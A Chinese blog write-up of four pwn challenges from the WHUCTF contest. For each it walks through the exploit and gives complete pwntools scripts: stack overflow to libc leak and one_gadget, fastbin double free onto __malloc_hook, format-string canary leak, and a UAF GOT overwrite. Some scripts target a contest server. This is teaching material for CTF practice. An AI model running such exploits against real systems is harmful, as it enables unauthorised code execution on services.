WHUCTF PWN题目
花了大概两天时间来做WHUCTF的题目,第一次排名这么靠前。首先感谢武汉大学举办这次萌新赛,也感谢fmyy的师傅的耐心指导,让我第一次做出堆的题目来。

pwnpwnpwn
这是一道栈题目,32位程序,只开启了堆栈不可执行。栈溢出泄露libc的基地址,然后换成one_gadget,就可以了。
1 from pwn import *
2
3 #p = process('./pwn')
4 p = remote('218.197.154.9',10004)
5 elf = ELF('./pwn')
6 context.log_level = 'debug'
7
8 write_plt = elf.plt['write']
9 fun_got = elf.got['__libc_start_main']
10 main = elf.symbols['main']
11
12 payload = 'a'*0x88 + 'bbbb' + p32(write_plt)
13 payload += p32(main) + p32(1) + p32(fun_got) + p32(0x10)
14 p.sendlineafter('Ready?\n',payload)
15 base_addr = u32(p.recv(4)) - 0x018540
16 shell = base_addr + 0x3a80c
17 payload = 'a'*0x88 + 'bbbb' + p32(shell)
18 p.sendlineafter('Ready?\n',payload)
19 p.interactive()
FFF
一道堆题目,64位程序,保护全开。题目有UAF,可以用double free进行攻击。
首先做的第一步,就是先利用unsortedbin的机制来泄露libc,这里我就说一下我的理解,就是在malloc堆的时候堆的大小大于120,再free,这个堆就会先放到unsortedbin里面。这里说的120是malloc(120),并不是堆的实际大小,而且是大于,就说明121才可以。
放到unsortedbin里面,在2.23的libc版本中,此时的未释放的指针还是指向堆,而堆指向的地址是main_arena+88的位置,这里我们可以用程序的show功能,来泄露libc版本和基地址。在这里,我刚开始做的时候,一直找不到main_arena+88在libc中的偏移。无奈又去问了fmyy师傅,师傅告诉我说,main_arena 在malloc_hook下面0x10个字节。这下问题就解决了。


在这里可以很清楚的看到,main_arena和__malloc_hook的位置。(超开心,感觉找到了几个月前刚知道libc的感觉)
接下来就是double free了。
add(0x80) #chunk0
add(0x60) #chunk1
add(0x60) #chunk2
delete(0)
show(0) #泄露libc
delete(1) #free chunk1
delete(2) #free chunk2
delete(1) #再次free chunk1

此时的fastbins是这样的,我们接下来要将他们都申请回来。第一次申请会申请到这个地址。
add(0x60)
这个时候,我们修改再次申请到的chunk1的fd指针,让他指向我们想要指向的
edit(1,8,address)
这个时候我们再看一下fastbins
这个时候我们再申请回chunk2,再申请一次chunk1,再申请一次chunk,就会申请到我们想要申请的地址了。这里我用abcdefgh来标注了一下。这里我们要填哪个地址呢?目前我知道的,是可以申请到malloc_hook -0x23的地方,这个地址+0x8会指向一个字节是是0x7f,就是让这个当作这次申请的chunk的size字段,这样就可以成功申请下来了。
由于小端存储,此时我们将chunk申请到了malloc_hook -0x23的位置。

这个时候我们是可以对这个chunk进行写操作的,我们可写的内容就是malloc_hook -0x23+0x10一下的位置,我们这里申请的chunk是0x60大小,就可以往下写0x60大小。
所以接下来的操作就是
add(0x60) #申请回来chunk2
add(0x60) #再次申请chunk1
add(0x60) #申请chunk3,位置就到了malloc_hook -0x23的位置。
这个时候我们对chunk3进行写操作,将__malloc_hook的位置写上one_gadget,这个时候我们再次调用malloc函数的时候,就会调用one_gadget来拿到shell。
edit(6,28,'\x00'*0x13 + p64(one_gadget))
add(0x60) #调用__malloc_hook拿到shell!!!
补充:目前的理解是,__malloc_hook是程序在执行malloc的时候会先执行__malloc_hook中指向的命令。也附一下其他师傅的理解,相互补充。原文地址

这道题就算是做完了,最后贴一下exp:
1 from pwn import *
2
3 p = process('./pwn')
4 #p = remote('218.197.154.9',10007)
5 elf = ELF('./pwn')
6 libc = ELF('libc6_2.23-0ubuntu10_amd64.so')
7 context.log_level = 'debug'
8
9 def duan():
10 gdb.attach(p)
11 pause()
12
13 def add(size):
14 p.sendlineafter('> ','1')
15 p.sendlineafter('size?\n',str(size))
16
17 def edit(index,size,content):
18 p.sendlineafter('> ','2')
19 p.sendlineafter('index?\n',str(index))
20 p.sendlineafter('size?\n',str(size))
21 p.send(content)
22
23 def show(index):
24 p.sendlineafter('> ','3')
25 p.sendlineafter('index?\n',str(index))
26
27 def remove(index):
28 p.sendlineafter('> ','4')
29 p.sendlineafter('index?\n',str(index))
30
31 add(0x80)
32 add(0x60)
33 add(0x60)
34 remove(0)
35 show(0)
36
37 malloc_hook = u64(p.recv(6).ljust(8,'\x00')) - 88 - 0x10
38 print hex(malloc_hook)
39 libc_base = malloc_hook - 0x3c4b10
40 one_gadget = libc_base + 0xF02A4
41 remove(1)
42 remove(2)
43 remove(1)
44
45 add(0x60)
46 edit(1,8,p64(malloc_hook - 0x23))
47 #duan()
48 add(0x60)
49 add(0x60)
50 add(0x60)
51 edit(6,28,'\x00'*0x13 + p64(one_gadget))
52 add(0x60)
53
54 p.interactive()
arbitrary
64位程序,保护全开,是一道栈的题目。不过我感觉我的做法好像非预期了。。。
先ida看一下伪代码:
main函数展示了一个菜单,而且每个功能只能用一次。我们再来看一下f1()函数做了些什么:

大概意思就是往addr写数字,然后...就没了...我也没太理解出题人设计这个f1()的意思。addr下面是控制函数只能执行一次的变量,我们可以通过覆盖这些变量,让功能可以重复再用一次。不过好像不用这个也可以getshell!
接下来我们看f2():

很明显第二次read的时候可以溢出到rip,但是程序开启了canary保护,所以我们不能直接溢出。
接下来看f3():

有一个格式话字符串漏洞,我在使用的时候发现不能用$,看别的师傅说是把$ban掉了。。。这里就有一个新知识点了。我们再回到此题的保护:

出现一个从未见过的保护,FORTIFY,这里就注意一下这个保护:
FORTIFY:FORTIFY_SOURCE 机制对格式化字符串有两个限制
(1)包含%n的格式化字符串不能位于程序内存中的可写地址。
(2)当使用位置参数时,必须使用范围内的所有参数。所以如果要使用%7$x,你必须同时使用1,2,3,4,5和6。
所以就给我们利用格式化字符串造成了一些麻烦,但是这题我们只要想着可以泄露libc和canary就可以了。这个时候我就想着,管他呢,我先随便泄露一些东西,看看是啥。我先把rsp向上抬了0x50,方便看东西。

可以看到是直接可以一步泄露出canary和libc的基地址的。这里有一点注意的是,我虽然很清楚rbp上面8个字节就是canary,但是这道题的canary不能直接用,需要讲最后一个字节“0a”改成“00”,因为我也很清楚,canary的最后一个自己一定是“00”。。。我也不太清楚为什么这道题先leak出来是“0a”。接下来就是利用f2()的栈溢出覆盖成one_gadget来getshell了。
贴一下exp:
1 from pwn import *
2
3 p = process('./pwn')
4 #p = remote('218.197.154.9',10005)
5 elf = ELF('./pwn')
6 #libc = ELF('./libc-2.23.so')
7 context.log_level = 'debug'
8
9 def duan():
10 gdb.attach(p)
11 pause()
12
13 p.sendlineafter('choice>>\n','3')
14 payload = 'aaaaaaaa%p%p%p%p%p%p%pbbbbbbbb%p%pcccccccc%p'
15 p.sendafter('input data:\n',payload)
16 p.recvuntil('bbbbbbbb')
17 canary = int(p.recv(16).ljust(18,'0'),16)
18 print hex(canary)
19 p.recvuntil('cccccccc')
20 libc_base = int(p.recv(14),16) - 240 - 0x020740
21 shell = libc_base + 0x45216
22 p.sendlineafter('choice>>\n','2')
23 p.sendafter('input data:','a')
24 payload = 'a'*0x38 + p64(canary) + 'bbbbbbbb' + p64(shell)
25 p.sendafter('input data:',payload)
26 p.interactive()
attention
先看一下保护:

可以看到只开启了部分RELRO,这个时候got表是可写的。我们看一下这个程序都做了些什么。

也是一道菜单的堆题目,可以看到我们可以进行菜单操作88次,88次后就会退出。接下来看一次每一个功能做了些什么。先看create:

直接就是申请一个固定大小的堆块,用指针指向。说明我们假如再申请一个堆块,这个指针就又会指向新申请的堆块。
接下来看edit:

也很简单,就是向堆块里面写值,可以写一个8字节的name,可以写一个0x20字节的data。但是只能向ptr指向的那个堆写内容。接下来看delete:

确实是萌新赛,太照顾我了。。。感动,又一个UAF。
最后一个show:

就是普通的打印操作了。
UAF漏洞,我们先申请一个chunk0,再free掉,然后向chunk0的fd位置写上我们想要堆块第三次申请到的地址:

在fastbins里面已经有了。这里有就学问了,那么这里的“abcdefgh”应该替换成什么呢?就是我们要申请到哪个地址呢?

还记得main函数中有个东西是,菜单只能循环88次吗?而循环递增的变量就是这个dword_6010A8,我们只要将这个变量变成大于或等于0x41,就可以将堆申请到这里,并且来控制ptr指针了。所以我们先使用菜单让这个变量大于0x41,接下来就执行下面的操作。
creat()
delete()
edit(p64(0x6010A0),'bbbbbbbb') #需要指向堆块的开头位置,所以-8
creat()
creat()

很清楚的可以看到此时的ptr指针是指向自己的,这个时候我们就可以修改指针,让指针指向got表的位置,然后进行show操作,先泄露libc的基地址,然后edit操作修改成one_gadget来getsshell。我这里修改的是atoi的got表。
edit(p64(0x601060),'bbbbbbbb')
show()
edit(p64(shell),'bbbbbbbb')
p.sendline('5') #触发getshell
p.interactive()
这道题就做完了,最后贴一下exp:
1 from pwn import *
2
3 p = process('./pwn')
4 #p = remote('218.197.154.9',10002)
5 context.log_level = 'debug'
6
7 def duan():
8 gdb.attach(p)
9 pause()
10
11 def create():
12 p.sendlineafter('choice :\n','1')
13
14 def edit(name,data):
15 p.sendlineafter('choice :\n','2')
16 p.sendafter('name:\n',name)
17 p.sendafter('data:\n',data)
18
19 def delete():
20 p.sendlineafter('choice :\n','3')
21
22 def show():
23 p.sendlineafter('choice :\n','4')
24
25 create()
26 delete()
27 for i in range(0x3d):
28 edit('aaaaaaaa','bbbbbbbb')
29
30 edit(p64(0x06010A0),'bbbbbbbb')
31 create()
32 create()
33 edit(p64(0x00601060),'bbbbbbbb')
34 show()
35 p.recvuntil('name:')
36 libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x036e80
37 shell = libc_base + 0xf1147
38 edit(p64(shell),p64(shell))
39 p.sendline('5')
40 p.sendline('ls')
41 p.sendline('cat flag')
42 p.recv()
43 p.close()
WHUCTF PWN题目的更多相关文章
- SCTF 2014 pwn题目分析
因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目.主防项目目前先搁置起来了,等比赛打完再去搞吧. 这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很 ...
- 解决pwn题目加载指定libc版本的问题
因为本地和远程的libc版本不同,pwn题目调试起来会有影响,所以来记录一下用patchelf和glibc-all-in-one来解决这个问题过程. 下载工具 下载patchelfgit clone ...
- BIT 常态化在线CTF系统 pwn题目
偶然得到这个平台,发现是BIT的CTF平台,应该是平时的阶段性的训练题目.看了看题,其他方向的题目感觉都是入门题,但是pwn题目,发现还是比入门题难一点点的,来记录一下. pwn1 栈上任意位置的读写 ...
- 2020 NUPCTF pwn题目
去年的一场比赛,今年来把去年不会做的题目来看一下,只在buu找到三道题,剩下两道好像是内核题,算了,估计找到也不会做. npuctf_2020_level2 bss段上的格式化字符串漏洞的利用. 程序 ...
- UNCTF2020 pwn题目
YLBNB 用pwntools直接连接,然后接受就行. 1 from pwn import * 2 3 p = remote('45.158.33.12',8000) 4 context.log_le ...
- 使用pwn_deploy_chroot部署国赛pwn比赛题目
目录 使用pwn_deploy_chroot部署国赛pwn比赛题目 一.前言 二.Docker 三.部署镜像 四.pwn_deploy_chroot 五.check && exp 六. ...
- pwn学习之二
刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...
- pwn学习之一
刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...
- Linux pwn入门教程(3)——ROP技术
作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42530-1-1.html 0×00 背景 在上一篇教程的<shellco ...
随机推荐
- 如何用three.js搭建处理3D园区、3D楼层、3D机房管线(机房升级版)-第九课(二)
接着上一篇文章,<如何用webgl(three.js)搭建处理3D园区.3D楼层.3D机房管线问题(机房升级版)-第九课(一)> 继续讲解关于三维数据中心管线可视化的解决方案. 上一篇我们 ...
- 洛谷 P5853 - [USACO19DEC]Tree Depth P(生成函数+背包)
洛谷题面传送门 神仙题. 首先考虑一个点的深度是什么,注意到对于笛卡尔树而言直接从序列的角度计算一个点的深度是不容易的,因为这样会牵扯到序列中多个元素,需要 fixed 的东西太多,计算起来太复杂了. ...
- 3D-DNA 挂载染色体
3D-DNA是一款简单,方便的处理Hi-C软件,可将contig提升到染色体水平.其githup网址:https://github.com/theaidenlab/3d-dna 3D-DNA流程简介 ...
- 【GS基础】植物基因组选择研究人员及数量遗传学发展一览
目录 1.GS研究 2.数量遗传发展 GS应用主要在国外大型动物和种企,国内仍以学术为主.近期整理相关学术文献,了解到一些相关研究人员,记录下备忘查询,但不可能全面. 1.GS研究 Theo Meuw ...
- getdelim函数
利用getdelim函数分割读取字段,将文件制表符替换为空格符 1 #include <stdio.h> 2 #include <stdlib.h> 3 4 int main( ...
- jsp的动态包含和静态包含
jsp的动态包含和静态包含 例如:提取一个公共的页面(top.jsp)到/WEB-INF/jsp/common/目录下 动态包含: 被包含的页面也会独立编译,生成字节码文件,一般包含页面信息频繁变化的 ...
- javaSE高级篇7 — 设计原则和设计模式 — 设计模式慢慢更( 这是思想层次篇 )
1.什么是设计原则? 设计原则就是面向对象的原则嘛,即:OOP原则 换句话说:就是为了处理类与类之间的关系( 包括接口.类中的方法 ) 2.OOP设计原则有哪些? 1).开闭原则:就是指对拓展开放.对 ...
- 日常Java 2021/10/18
Vecter类实现了一个动态数组,不同于ArrayList的是,Vecter是同步访问的, Vecter主要用在事先不知道数组的大小或可以改变大小的数组 Vecter类支持多种构造方法:Vecter( ...
- day08 文件属性
day08 系统目录 今日内容 一.重要目录 1./usr 2./var 3./proc 二.文件的属性 1.文件属性的介绍 2.文件属性的详述 3.企业案例 /usr 安装第三方软件的目录: 1./ ...
- 13. 搭建arm-linux-gcc交叉编译环境
1.下载工具并解压 下载路径 http://www.arm9.net/download.asp 将 arm-linux-gcc-4.5.1-v6-vfp-20120301.tgz 拷贝到 Linux ...